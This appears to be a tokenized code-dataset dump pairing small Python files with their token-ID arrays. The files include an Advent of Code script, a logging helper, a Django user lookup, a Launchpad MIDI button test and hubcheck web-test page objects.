3788,
29872,
666,
15956,
29899,
29955,
29947,
29946,
29874,
29947,
29946,
29896,
29881,
5477,
13,
9651,
4514,
13,
9651,
5096,
353,
1653,
29918,
1429,
29898,
29886,
29897,
13,
9651,
565,
525,
2753,
29915,
297,
5096,
29901,
13,
18884,
11013,
877,
9832,
1218,
716,
9570,
5404,
5096,
525,
29974,
1429,
29897,
13,
18884,
736,
4050,
29918,
6886,
877,
11058,
29889,
1420,
742,
5096,
2433,
2704,
1495,
13,
13,
9651,
565,
525,
29875,
29899,
29915,
297,
5096,
29901,
13,
18884,
736,
4050,
29918,
6886,
877,
11058,
29889,
1420,
742,
5096,
29922,
1429,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
4050,
29918,
6886,
877,
11058,
29889,
1420,
742,
5096,
29922,
1429,
29897,
13,
1678,
1683,
29901,
13,
4706,
27450,
29898,
29946,
29900,
29896,
29897,
13,
13,
29992,
932,
29889,
13134,
11219,
8758,
29914,
29966,
8758,
29918,
333,
29958,
1495,
13,
1753,
2777,
29918,
11058,
29898,
8758,
29918,
333,
1125,
13,
1678,
565,
1404,
29918,
5349,
29918,
12154,
29898,
29896,
29897,
470,
1404,
29918,
5349,
29918,
12154,
29898,
29906,
1125,
13,
4706,
15585,
630,
29918,
1792,
580,
13,
4706,
1923,
7328,
353,
679,
29918,
10467,
29918,
2611,
2925,
29898,
8758,
29918,
333,
29897,
13,
4706,
2777,
353,
2799,
749,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
8758,
29918,
333,
29922,
8758,
29918,
333,
467,
4102,
580,
13,
4706,
623,
29889,
21707,
29889,
8382,
877,
8758,
4833,
426,
29900,
29913,
4286,
4830,
29898,
8758,
876,
13,
4706,
736,
4050,
29918,
6886,
877,
8758,
29889,
1420,
742,
2777,
29918,
333,
29922,
8758,
29918,
333,
29892,
1923,
7328,
29922,
2974,
7328,
29892,
564,
29895,
29918,
2974,
3888,
29922,
8758,
29897,
13,
1678,
1683,
29901,
13,
4706,
27450,
29898,
29946,
29900,
29896,
29897,
13,
13,
29992,
932,
29889,
13134,
11219,
8758,
29914,
29966,
8758,
29918,
333,
20690,
845,
329,
3204,
1495,
13,
1753,
2777,
29918,
845,
329,
3204,
29898,
8758,
29918,
333,
1125,
13,
1678,
565,
1404,
29918,
5349,
29918,
12154,
29898,
29896,
29897,
470,
1404,
29918,
5349,
29918,
12154,
29898,
29906,
1125,
13,
4706,
15585,
630,
29918,
1792,
580,
13,
4706,
11013,
877,
5194,
29902,
11132,
29901,
525,
29974,
3027,
29918,
3166,
29918,
8758,
29898,
8758,
29918,
333,
876,
13,
4706,
5096,
353,
5217,
29918,
1429,
580,
13,
4706,
565,
5096,
29901,
13,
9651,
11013,
877,
20442,
5404,
5096,
11132,
1495,
13,
4706,
736,
4050,
29918,
6886,
877,
2248,
29889,
1420,
1495,
13,
1678,
1683,
29901,
13,
4706,
27450,
29898,
29946,
29900,
29896,
29897,
13,
13,
29992,
932,
29889,
13134,
11219,
8758,
29914,
29966,
8758,
29918,
333,
20690,
5504,
742,
3519,
29922,
1839,
12336,
11287,
13,
1753,
2777,
29918,
5504,
29898,
8758,
29918,
333,
1125,
13,
1678,
2777,
353,
2799,
749,
29889,
657,
29918,
272,
29918,
3258,
29898,
8758,
29918,
333,
29897,
13,
1678,
2777,
29889,
935,
29918,
5014,
29918,
4882,
353,
2009,
29889,
689,
1839,
935,
29918,
5014,
29918,
4882,
2033,
13,
1678,
2777,
29889,
935,
29918,
2974,
29918,
4882,
353,
2009,
29889,
689,
1839,
935,
29918,
2974,
29918,
4882,
2033,
13,
1678,
2777,
29889,
935,
29918,
3259,
353,
2009,
29889,
689,
1839,
935,
29918,
3259,
2033,
13,
1678,
4833,
29889,
7924,
29889,
15060,
580,
13,
1678,
736,
525,
8949,
29915,
13,
13,
361,
623,
29889,
2917,
1839,
17171,
29918,
10536,
3289,
29968,
2033,
1275,
525,
5574,
2396,
13,
1678,
565,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
4706,
623,
29889,
3389,
29898,
8382,
29922,
932,
29889,
2917,
1839,
18525,
11287,
13,
2
] |
Q6/q6.py | Xascoria/AdventOfCode2021 | 0 | 155257 | f = open("Q6/inputs.txt","r")
# k = [*map(int,f.readline().split(","))]
# d = {}
# for i in k:
# if i not in d:
# d[i] = 0
# d[i] += 1
# for i in range(256):
# p = {0:0,1:0,2:0,3:0,4:0,5:0,7:0,6:0,8:0}
# for j in d:
# if j == 0:
# p[6] += d[j]
# p[8] += d[j]
# else:
# p[j-1]+=d[j]
# #print(p[j-1])
# d = p
# print(d)
# print(sum(d.values()))
import random
fish = "ゅ"
print(fish)
x = [["~"]*25 for _ in range(15)]
arr = [3,4,3,1,2,3,2]
for j in arr:
rn = random.randrange(1,15)
y = random.randrange(0,25)
x[rn][y] = fish
x[rn-1][y] = str(j)
for i in x:
print("".join(i))
| [
1,
285,
353,
1722,
703,
29984,
29953,
29914,
2080,
29879,
29889,
3945,
3284,
29878,
1159,
13,
13,
29937,
413,
353,
518,
29930,
1958,
29898,
524,
29892,
29888,
29889,
949,
1220,
2141,
5451,
29898,
3284,
28166,
13,
13,
29937,
270,
353,
6571,
13,
29937,
363,
474,
297,
413,
29901,
13,
29937,
268,
565,
474,
451,
297,
270,
29901,
13,
29937,
308,
270,
29961,
29875,
29962,
353,
29871,
29900,
13,
29937,
268,
270,
29961,
29875,
29962,
4619,
29871,
29896,
13,
13,
29937,
363,
474,
297,
3464,
29898,
29906,
29945,
29953,
1125,
13,
29937,
268,
282,
353,
426,
29900,
29901,
29900,
29892,
29896,
29901,
29900,
29892,
29906,
29901,
29900,
29892,
29941,
29901,
29900,
29892,
29946,
29901,
29900,
29892,
29945,
29901,
29900,
29892,
29955,
29901,
29900,
29892,
29953,
29901,
29900,
29892,
29947,
29901,
29900,
29913,
13,
29937,
268,
363,
432,
297,
270,
29901,
13,
29937,
308,
565,
432,
1275,
29871,
29900,
29901,
13,
29937,
632,
282,
29961,
29953,
29962,
4619,
270,
29961,
29926,
29962,
13,
29937,
632,
282,
29961,
29947,
29962,
4619,
270,
29961,
29926,
29962,
13,
29937,
308,
1683,
29901,
13,
29937,
632,
282,
29961,
29926,
29899,
29896,
10062,
29922,
29881,
29961,
29926,
29962,
13,
29937,
632,
396,
2158,
29898,
29886,
29961,
29926,
29899,
29896,
2314,
13,
29937,
268,
270,
353,
282,
13,
13,
29937,
1596,
29898,
29881,
29897,
13,
29937,
1596,
29898,
2083,
29898,
29881,
29889,
5975,
22130,
13,
5215,
4036,
13,
15161,
353,
376,
230,
133,
136,
29908,
13,
2158,
29898,
15161,
29897,
13,
13,
29916,
353,
518,
3366,
30022,
3108,
29930,
29906,
29945,
363,
903,
297,
3464,
29898,
29896,
29945,
4638,
13,
2749,
353,
518,
29941,
29892,
29946,
29892,
29941,
29892,
29896,
29892,
29906,
29892,
29941,
29892,
29906,
29962,
13,
13,
1454,
432,
297,
3948,
29901,
13,
1678,
364,
29876,
353,
4036,
29889,
9502,
3881,
29898,
29896,
29892,
29896,
29945,
29897,
13,
1678,
343,
353,
4036,
29889,
9502,
3881,
29898,
29900,
29892,
29906,
29945,
29897,
13,
1678,
921,
29961,
27539,
3816,
29891,
29962,
353,
9427,
13,
1678,
921,
29961,
27539,
29899,
29896,
3816,
29891,
29962,
353,
851,
29898,
29926,
29897,
13,
13,
1454,
474,
297,
921,
29901,
13,
1678,
1596,
703,
1642,
7122,
29898,
29875,
876,
13,
13,
2
] |
Tianchi-Taobao-clothes-retrieval-master/metric_sub/src_train/logger.py | MarcaWitt/Data_hackers | 0 | 132467 | import os
import logging
def create_folder(fd):
if not os.path.exists(fd):
os.makedirs(fd)
def create_logging(log_dir, filemode):
create_folder(log_dir)
i1 = 0
while os.path.isfile(os.path.join(log_dir, '{:04d}.log'.format(i1))):
i1 += 1
log_path = os.path.join(log_dir, '{:04d}.log'.format(i1))
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
datefmt='%a, %d %b %Y %H:%M:%S',
filename=log_path,
filemode=filemode)
# Print to console
console = logging.StreamHandler()
console.setLevel(logging.INFO)
formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')
console.setFormatter(formatter)
logging.getLogger('').addHandler(console)
return logging | [
1,
1053,
2897,
13,
5215,
12183,
13,
13,
13,
1753,
1653,
29918,
12083,
29898,
11512,
1125,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
11512,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
11512,
29897,
13,
308,
13,
13,
1753,
1653,
29918,
21027,
29898,
1188,
29918,
3972,
29892,
934,
8513,
1125,
13,
1678,
1653,
29918,
12083,
29898,
1188,
29918,
3972,
29897,
13,
1678,
474,
29896,
353,
29871,
29900,
13,
13,
1678,
1550,
2897,
29889,
2084,
29889,
275,
1445,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
22372,
29901,
29900,
29946,
29881,
1836,
1188,
4286,
4830,
29898,
29875,
29896,
876,
1125,
13,
4706,
474,
29896,
4619,
29871,
29896,
13,
308,
13,
1678,
1480,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
22372,
29901,
29900,
29946,
29881,
1836,
1188,
4286,
4830,
29898,
29875,
29896,
876,
13,
1678,
12183,
29889,
16121,
3991,
29898,
13,
4706,
3233,
29922,
21027,
29889,
18525,
29892,
13,
4706,
3402,
2433,
29995,
29898,
294,
312,
603,
29897,
29879,
1273,
29898,
9507,
29897,
29879,
29961,
1220,
16664,
29898,
1915,
8154,
29897,
29881,
29962,
1273,
29898,
5563,
978,
29897,
29879,
1273,
29898,
4906,
29897,
29879,
742,
13,
4706,
2635,
23479,
2433,
29995,
29874,
29892,
1273,
29881,
1273,
29890,
1273,
29979,
1273,
29950,
16664,
29924,
16664,
29903,
742,
13,
4706,
10422,
29922,
1188,
29918,
2084,
29892,
13,
4706,
934,
8513,
29922,
1445,
8513,
29897,
13,
13,
1678,
396,
13905,
304,
2991,
13,
1678,
2991,
353,
12183,
29889,
3835,
4598,
580,
13,
1678,
2991,
29889,
842,
10108,
29898,
21027,
29889,
11690,
29897,
13,
1678,
883,
2620,
353,
12183,
29889,
18522,
877,
29995,
29898,
978,
6817,
29896,
29906,
29879,
29901,
1273,
29898,
5563,
978,
6817,
29947,
29879,
1273,
29898,
4906,
29897,
29879,
1495,
13,
1678,
2991,
29889,
842,
18522,
29898,
689,
2620,
29897,
13,
1678,
12183,
29889,
657,
16363,
877,
2824,
1202,
4598,
29898,
11058,
29897,
13,
268,
13,
1678,
736,
12183,
2
] |
Python3/Exercises/DictionaryMethods/dictionary_methods.py | norbertosanchezdichi/TIL | 0 | 37164 | <reponame>norbertosanchezdichi/TIL<filename>Python3/Exercises/DictionaryMethods/dictionary_methods.py
inventory = {'croissant': 19, 'bagel': 4, 'muffin': 8, 'cake': 1}
print(f'{inventory =}')
stock_list = inventory.copy()
print(f'{stock_list =}')
stock_list['hot cheetos'] = 25
stock_list.update({'cookie' : 18})
stock_list.pop('cake')
print(f'{stock_list =}') | [
1,
529,
276,
1112,
420,
29958,
15459,
2151,
359,
20372,
8849,
18544,
29914,
29911,
6227,
29966,
9507,
29958,
11980,
29941,
29914,
1252,
261,
3476,
267,
29914,
11513,
26112,
29914,
27126,
29918,
23515,
29889,
2272,
13,
262,
23886,
353,
11117,
24077,
19505,
2396,
29871,
29896,
29929,
29892,
525,
23156,
295,
2396,
29871,
29946,
29892,
525,
2589,
600,
262,
2396,
29871,
29947,
29892,
525,
1113,
446,
2396,
29871,
29896,
29913,
13,
2158,
29898,
29888,
29915,
29912,
262,
23886,
353,
29913,
1495,
13,
13,
17712,
29918,
1761,
353,
11817,
706,
29889,
8552,
580,
13,
2158,
29898,
29888,
29915,
29912,
17712,
29918,
1761,
353,
29913,
1495,
13,
13,
17712,
29918,
1761,
1839,
8711,
923,
300,
359,
2033,
353,
29871,
29906,
29945,
13,
17712,
29918,
1761,
29889,
5504,
3319,
29915,
21509,
29915,
584,
29871,
29896,
29947,
1800,
13,
13,
17712,
29918,
1761,
29889,
7323,
877,
1113,
446,
1495,
13,
2158,
29898,
29888,
29915,
29912,
17712,
29918,
1761,
353,
29913,
1495,
2
] |
CLASSIC PUZZLE - EASY/robot-show.py | martincourtois/CodinGame | 0 | 122966 | <gh_stars>0
import sys
import math
size = int(input())
n = int(input())
bots = list(map(int, input().split()))
left = min(bots)
right = max(bots)
t = max([size - left, right])
print(t)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
10876,
13,
5215,
5844,
13,
13,
2311,
353,
938,
29898,
2080,
3101,
13,
29876,
353,
938,
29898,
2080,
3101,
13,
29890,
1862,
353,
1051,
29898,
1958,
29898,
524,
29892,
1881,
2141,
5451,
22130,
13,
1563,
353,
1375,
29898,
29890,
1862,
29897,
13,
1266,
353,
4236,
29898,
29890,
1862,
29897,
13,
29873,
353,
4236,
4197,
2311,
448,
2175,
29892,
1492,
2314,
13,
2158,
29898,
29873,
29897,
13,
2
] |
apps/users/common.py | yhkl-dev/JAutoOps | 0 | 197847 | <filename>apps/users/common.py
from django.contrib.auth import get_user_model
User = get_user_model()
def get_user_obj(uid):
try:
return User.objects.get(pk=uid)
except User.DoesNotExist:
return None | [
1,
529,
9507,
29958,
13371,
29914,
7193,
29914,
9435,
29889,
2272,
13,
3166,
9557,
29889,
21570,
29889,
5150,
1053,
679,
29918,
1792,
29918,
4299,
13,
13,
2659,
353,
679,
29918,
1792,
29918,
4299,
580,
13,
13,
13,
1753,
679,
29918,
1792,
29918,
5415,
29898,
5416,
1125,
13,
1678,
1018,
29901,
13,
4706,
736,
4911,
29889,
12650,
29889,
657,
29898,
20571,
29922,
5416,
29897,
13,
1678,
5174,
4911,
29889,
25125,
3664,
1252,
391,
29901,
13,
4706,
736,
6213,
2
] |
examples/buttons_raw.py | kalebolson/launchpad.py | 0 | 141752 | <filename>examples/buttons_raw.py
#!/usr/bin/env python
#
# Quick button test.
# Works with these Launchpads: Mk1, Mk2, Mini Mk3, S/Mini, Pro, Pro Mk3
# And these: <NAME> 64
#
#
# FMMT666(ASkr) 7/2013..8/2020
# www.askrprojects.net
#
import sys
import time
try:
import launchpad_py as launchpad
except ImportError:
try:
import launchpad
except ImportError:
sys.exit("error loading launchpad.py")
def main():
mode = None
if launchpad.LaunchpadPro().Check( 0 ):
lp = launchpad.LaunchpadPro()
if lp.Open( 0 ):
print("Launchpad Pro")
mode = "Pro"
elif launchpad.LaunchpadProMk3().Check( 0 ):
lp = launchpad.LaunchpadProMk3()
if lp.Open( 0 ):
print("Launchpad Pro Mk3")
mode = "ProMk3"
elif launchpad.LaunchpadMiniMk3().Check( 1 ):
lp = launchpad.LaunchpadMiniMk3()
if lp.Open( 1 ):
print("Launchpad Mini Mk3")
mode = "Pro"
elif launchpad.LaunchpadLPX().Check( 1 ):
lp = launchpad.LaunchpadLPX()
if lp.Open( 1 ):
print("Launchpad X")
mode = "Pro"
elif launchpad.LaunchpadMk2().Check( 0 ):
lp = launchpad.LaunchpadMk2()
if lp.Open( 0 ):
print("Launchpad Mk2")
mode = "Mk2"
# elif launchpad.LaunchControlXL().Check( 0 ):
# lp = launchpad.LaunchControlXL()
# if lp.Open( 0 ):
# print("Launch Control XL")
# mode = "XL"
# elif launchpad.LaunchKeyMini().Check( 0 ):
# lp = launchpad.LaunchKeyMini()
# if lp.Open( 0 ):
# print("LaunchKey (Mini)")
# mode = "LKM"
elif launchpad.Dicer().Check( 0 ):
lp = launchpad.Dicer()
if lp.Open( 0 ):
print("Dicer")
mode = "Dcr"
elif launchpad.LaunchpadLPX().Check( 1 ):
lp = launchpad.LaunchpadLPX()
if lp.Open( 1, "lpx" ):
print("Launchpad X")
mode = "Pro"
elif launchpad.MidiFighter64().Check( 0 ):
lp = launchpad.MidiFighter64()
if lp.Open( 0 ):
print("Midi Fighter 64")
mode = "F64"
else:
if lp.Open():
print("Launchpad Mk1/S/Mini")
mode = "Mk1"
if mode is None:
print("Did not find any Launchpads, meh...")
return
print("\nQUIT: Push one single button ten times in a row.\n")
butLast = -1
butCount = 0
while True:
buts = lp.ButtonStateRaw()
if buts != []:
print( buts[0], buts[1])
# shall we quit?
if buts[0] != butLast:
butLast = buts[0]
butCount = 1
continue
else:
# counts pressed and release events
butCount += 1
if butCount >= 20:
break
print("bye ...")
lp.Reset() # turn all LEDs off
lp.Close() # close the Launchpad (will quit with an error due to a PyGame bug)
if __name__ == '__main__':
main()
| [
1,
529,
9507,
29958,
19057,
29914,
4187,
7453,
29918,
1610,
29889,
2272,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
13,
29937,
26141,
2826,
1243,
29889,
13,
29937,
13976,
411,
1438,
997,
3322,
29886,
7925,
29901,
341,
29895,
29896,
29892,
341,
29895,
29906,
29892,
341,
2172,
341,
29895,
29941,
29892,
317,
29914,
29924,
2172,
29892,
1019,
29892,
1019,
341,
29895,
29941,
13,
29937,
1126,
1438,
29901,
462,
259,
529,
5813,
29958,
29871,
29953,
29946,
13,
29937,
29871,
13,
29937,
13,
29937,
383,
7428,
29911,
29953,
29953,
29953,
29898,
3289,
12748,
29897,
29871,
29955,
29914,
29906,
29900,
29896,
29941,
636,
29947,
29914,
29906,
29900,
29906,
29900,
13,
29937,
7821,
29889,
1278,
29878,
16418,
29889,
1212,
13,
29937,
13,
13,
5215,
10876,
13,
5215,
931,
13,
13,
13,
2202,
29901,
13,
12,
5215,
6826,
8305,
29918,
2272,
408,
6826,
8305,
13,
19499,
16032,
2392,
29901,
13,
12,
2202,
29901,
13,
12,
12,
5215,
6826,
8305,
13,
12,
19499,
16032,
2392,
29901,
13,
12,
12,
9675,
29889,
13322,
703,
2704,
8363,
6826,
8305,
29889,
2272,
1159,
13,
13,
13,
1753,
1667,
7295,
13,
13,
12,
8513,
353,
6213,
13,
13,
12,
361,
6826,
8305,
29889,
17641,
8305,
1184,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
1184,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
1019,
1159,
13,
12,
12,
12,
8513,
353,
376,
1184,
29908,
13,
13,
12,
23681,
6826,
8305,
29889,
17641,
8305,
1184,
29924,
29895,
29941,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
1184,
29924,
29895,
29941,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
1019,
341,
29895,
29941,
1159,
13,
12,
12,
12,
8513,
353,
376,
1184,
29924,
29895,
29941,
29908,
13,
12,
13,
12,
23681,
6826,
8305,
29889,
17641,
8305,
29924,
2172,
29924,
29895,
29941,
2141,
5596,
29898,
29871,
29896,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
29924,
2172,
29924,
29895,
29941,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29896,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
341,
2172,
341,
29895,
29941,
1159,
13,
12,
12,
12,
8513,
353,
376,
1184,
29908,
13,
13,
12,
23681,
6826,
8305,
29889,
17641,
8305,
13208,
29990,
2141,
5596,
29898,
29871,
29896,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
13208,
29990,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29896,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
1060,
1159,
13,
12,
12,
12,
8513,
353,
376,
1184,
29908,
13,
12,
12,
12,
13,
12,
23681,
6826,
8305,
29889,
17641,
8305,
29924,
29895,
29906,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
29924,
29895,
29906,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
341,
29895,
29906,
1159,
13,
12,
12,
12,
8513,
353,
376,
29924,
29895,
29906,
29908,
13,
13,
12,
29937,
25342,
6826,
8305,
29889,
17641,
4809,
29990,
29931,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
29937,
29871,
12,
22833,
353,
6826,
8305,
29889,
17641,
4809,
29990,
29931,
580,
13,
12,
29937,
29871,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
29937,
29871,
12,
12,
2158,
703,
17641,
11264,
1060,
29931,
1159,
13,
12,
29937,
29871,
12,
12,
8513,
353,
376,
29990,
29931,
29908,
13,
12,
12,
12,
13,
12,
29937,
25342,
6826,
8305,
29889,
17641,
2558,
29924,
2172,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
29937,
29871,
12,
22833,
353,
6826,
8305,
29889,
17641,
2558,
29924,
2172,
580,
13,
12,
29937,
29871,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
29937,
29871,
12,
12,
2158,
703,
17641,
2558,
313,
29924,
2172,
25760,
13,
12,
29937,
29871,
12,
12,
8513,
353,
376,
29931,
29968,
29924,
29908,
13,
13,
12,
23681,
6826,
8305,
29889,
29928,
293,
261,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
29928,
293,
261,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
12,
2158,
703,
29928,
293,
261,
1159,
13,
12,
12,
12,
8513,
353,
376,
29928,
7283,
29908,
13,
13,
12,
23681,
6826,
8305,
29889,
17641,
8305,
13208,
29990,
2141,
5596,
29898,
29871,
29896,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
17641,
8305,
13208,
29990,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29896,
29892,
376,
29880,
1756,
29908,
29871,
1125,
13,
12,
12,
12,
2158,
703,
17641,
8305,
1060,
1159,
13,
12,
12,
12,
8513,
353,
376,
1184,
29908,
13,
13,
12,
23681,
6826,
8305,
29889,
29924,
8819,
29943,
14643,
29953,
29946,
2141,
5596,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
22833,
353,
6826,
8305,
29889,
29924,
8819,
29943,
14643,
29953,
29946,
580,
13,
12,
12,
361,
301,
29886,
29889,
6585,
29898,
29871,
29900,
29871,
1125,
13,
12,
12,
12,
2158,
703,
29924,
8819,
383,
14643,
29871,
29953,
29946,
1159,
13,
12,
12,
12,
8513,
353,
376,
29943,
29953,
29946,
29908,
13,
13,
12,
2870,
29901,
13,
12,
12,
361,
301,
29886,
29889,
6585,
7295,
13,
12,
12,
12,
2158,
703,
17641,
8305,
341,
29895,
29896,
29914,
29903,
29914,
29924,
2172,
1159,
13,
12,
12,
12,
8513,
353,
376,
29924,
29895,
29896,
29908,
13,
13,
12,
361,
4464,
338,
6213,
29901,
13,
12,
12,
2158,
703,
9260,
451,
1284,
738,
997,
3322,
29886,
7925,
29892,
592,
29882,
856,
1159,
13,
12,
12,
2457,
13,
13,
12,
2158,
14182,
29876,
13356,
1806,
29901,
349,
1878,
697,
2323,
2826,
3006,
3064,
297,
263,
1948,
7790,
29876,
1159,
13,
13,
12,
4187,
8897,
29871,
353,
448,
29896,
13,
12,
4187,
3981,
353,
29871,
29900,
13,
12,
8000,
5852,
29901,
13,
12,
12,
4187,
29879,
353,
301,
29886,
29889,
3125,
2792,
22131,
580,
13,
12,
12,
361,
541,
29879,
2804,
5159,
29901,
13,
12,
12,
12,
2158,
29898,
541,
29879,
29961,
29900,
1402,
541,
29879,
29961,
29896,
2314,
13,
13,
12,
12,
12,
29937,
4091,
591,
23283,
29973,
13,
12,
12,
12,
361,
541,
29879,
29961,
29900,
29962,
2804,
541,
8897,
29901,
13,
12,
12,
12,
12,
4187,
8897,
353,
541,
29879,
29961,
29900,
29962,
13,
12,
12,
12,
12,
4187,
3981,
353,
29871,
29896,
13,
12,
12,
12,
12,
19878,
13,
12,
12,
12,
2870,
29901,
13,
12,
12,
12,
12,
29937,
18139,
15385,
322,
6507,
4959,
13,
12,
12,
12,
12,
4187,
3981,
4619,
29871,
29896,
13,
12,
12,
12,
12,
361,
541,
3981,
6736,
29871,
29906,
29900,
29901,
13,
12,
12,
12,
12,
12,
8690,
13,
13,
12,
2158,
703,
26966,
2023,
1159,
13,
13,
12,
22833,
29889,
27175,
580,
396,
2507,
599,
25023,
29879,
1283,
13,
12,
22833,
29889,
11123,
580,
396,
3802,
278,
997,
3322,
8305,
313,
14043,
23283,
411,
385,
1059,
2861,
304,
263,
10772,
14199,
6494,
29897,
13,
13,
12,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
12,
3396,
580,
13,
13,
2
] |
hubcheck/pageobjects/widgets/tags_browse_form.py | codedsk/hubcheck | 1 | 111146 | from hubcheck.pageobjects.basepagewidget import BasePageWidget
from hubcheck.pageobjects.basepageelement import TextReadOnly
import re
class TagsBrowseForm(BasePageWidget):
def __init__(self, owner, locatordict=None):
super(TagsBrowseForm,self).__init__(owner,locatordict)
# load hub's classes
TagsBrowseForm_Locators = self.load_class('TagsBrowseForm_Locators')
TextSearchBox = self.load_class('TextSearchBox')
TagsBrowseOrderOptions = self.load_class('TagsBrowseOrderOptions')
SearchResults = self.load_class('SearchResults')
TagsBrowseResultsRow = self.load_class('TagsBrowseResultsRow')
ListPageNav = self.load_class('ListPageNav')
# update this object's locator
self.locators.update(TagsBrowseForm_Locators.locators)
# update the locators with those from the owner
self.update_locators_from_owner()
# setup page object's components
self.searchbox = TextSearchBox(self,
{
'base' : 'searchbox',
'text' : 'searchtext',
'submit' : 'searchbutton'
})
self.sortoptions = TagsBrowseOrderOptions(self,
{'base':'sortoptions'})
self.footer = ListPageNav(self,{'base':'footer'})
self.search_results = SearchResults(self,
{
'base' : 'searchresults',
'counts' : 'sr_counts',
'row' : 'sr_row',
'substrow' : 'sr_substrow',
}, TagsBrowseResultsRow,
{
'name' : 'src_name',
'count' : 'src_count',
})
# update the component's locators with this objects overrides
self._updateLocators()
def _checkLocatorsLoggedOut(self,widgets=None,cltype='LoggedOut'):
self._checkLocators(widgets,cltype)
def _checkLocatorsNonAdmin(self,widgets=None,cltype='NonAdmin'):
self._checkLocators(widgets,cltype)
def _checkLocatorsAdmin(self,widgets=None,cltype='Admin'):
self._checkLocators(widgets,cltype)
def search_for(self,terms):
return self.searchbox.search_for(terms)
def goto_page_number(self,pagenumber):
return self.footer.goto_page_number(pagenumber)
def goto_page_relative(self,relation):
return self.footer.goto_page_relative(relation)
def get_caption_counts(self):
return self.search_results.header_counts()
def get_pagination_counts(self):
return self.footer.get_pagination_counts()
def get_current_page_number(self):
return self.footer.get_current_page_number()
def get_link_page_numbers(self):
return self.footer.get_link_page_numbers()
def search_result_rows(self):
return iter(self.search_results)
class TagsBrowseForm_Locators_Base(object):
"""locators for TagsBrowseForm object"""
locators = {
'base' : "css=#main form",
'searchbox' : "css=.data-entry",
'searchtext' : "css=#entry-search-text",
'searchbutton' : "css=.entry-search-submit",
'sortoptions' : "css=.entries-menu",
'footer' : "css=.list-footer",
'searchresults' : "css=#taglist",
'sr_substrow' : "css=#taglist tbody tr:nth-of-type({row_num})",
'sr_row' : "css=#taglist tbody tr",
'sr_counts' : "css=#taglist thead th span",
'src_name' : "css=#taglist tbody tr:nth-of-type({row_num}) td:nth-of-type(1) a",
'src_count' : "css=#taglist tbody tr:nth-of-type({row_num}) td:nth-of-type(2)",
}
class TagsBrowseForm_Locators_Base_2(object):
"""locators for TagsBrowseForm object"""
locators = {
'base' : "css=.main",
'searchbox' : "css=.data-entry",
'searchtext' : "css=#entry-search-text",
'searchbutton' : "css=.entry-search-submit",
'sortoptions' : "css=.entries-menu",
'footer' : "css=.list-footer",
'searchresults' : "css=#taglist",
'sr_substrow' : "css=#taglist tbody tr:nth-of-type({row_num})",
'sr_row' : "css=#taglist tbody tr",
'sr_counts' : "css=#taglist thead th span",
'src_name' : "css=#taglist tbody tr:nth-of-type({row_num}) td:nth-of-type(1) a",
'src_count' : "css=#taglist tbody tr:nth-of-type({row_num}) td:nth-of-type(2)",
}
| [
1,
515,
19766,
3198,
29889,
3488,
12650,
29889,
3188,
3488,
8030,
1053,
7399,
5074,
8801,
13,
3166,
19766,
3198,
29889,
3488,
12650,
29889,
3188,
3488,
5029,
1053,
3992,
6359,
11730,
13,
13,
5215,
337,
13,
13,
1990,
917,
29933,
798,
344,
2500,
29898,
5160,
5074,
8801,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
12271,
29892,
1180,
271,
536,
919,
29922,
8516,
1125,
13,
4706,
2428,
29898,
28089,
29933,
798,
344,
2500,
29892,
1311,
467,
1649,
2344,
12035,
20348,
29892,
2029,
271,
536,
919,
29897,
13,
13,
4706,
396,
2254,
19766,
29915,
29879,
4413,
13,
4706,
917,
29933,
798,
344,
2500,
29918,
3524,
4097,
353,
1583,
29889,
1359,
29918,
1990,
877,
28089,
29933,
798,
344,
2500,
29918,
3524,
4097,
1495,
13,
4706,
3992,
7974,
3313,
965,
353,
1583,
29889,
1359,
29918,
1990,
877,
1626,
7974,
3313,
